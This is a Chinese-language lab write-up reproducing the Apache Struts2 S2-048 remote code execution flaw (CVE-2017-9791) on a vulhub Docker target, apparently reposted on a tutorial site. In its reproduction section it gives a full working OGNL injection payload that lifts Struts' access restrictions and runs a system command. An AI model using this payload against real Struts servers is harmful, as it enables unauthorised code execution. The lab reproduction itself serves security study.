C/C++教程

CVE-2017-9791 S2-048复现

本文主要是介绍CVE-2017-9791 S2-048复现,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

0X00-引言


钢铁内涵夜里我看学痞哦阿国,怀着冷却的心窝飘远方

0X01-环境搭建


靶机:CentOS Linux 7

攻击机:windows server 2016 && Kail

环境:vulhub

项目地址:https://github.com/vulhub/vulhub

搭建vulhub请访问:空白centos7 64 搭建vulhub(详细)

0X02-漏洞描述


影响版本: 2.0.0 - 2.3.32

Apache Struts2.3.x系列版本中struts2-struts1-plugin存在远程代码执行漏洞,进而导致任意代码执行。

这个环境是直接下载的struts-2.3.32的showcase,部署在tomcat-8.5下。环境启动后,访问http://your-ip:8080/showcase/即可查看到struts2的测试页面。

访问Integration/Struts 1 Integration

触发OGNL表达式的位置是Gangster Name这个表单。

输入${233*233}即可查看执行结果(剩下两个表单随意填写)

0X03-漏洞复现


http://192.168.234.128:8080/integration/editGangster.action

image-20211206150607289

01-任意命令执行
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

image-20211206150646533

0X04-漏洞分析


0X05-工具利用


没找到

0X06-查看日志


docker ps #查看容器ID
docker exec -it ID /bin/bash #进入
cd logs #进入日志目录
cat localhost_access_log.2021-12-02.txt #查看日志
exit #退出容器

image-20211206151752761

0X07-参考


S2-048 动态分析

S2-048 远程代码执行漏洞

这篇关于CVE-2017-9791 S2-048复现的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!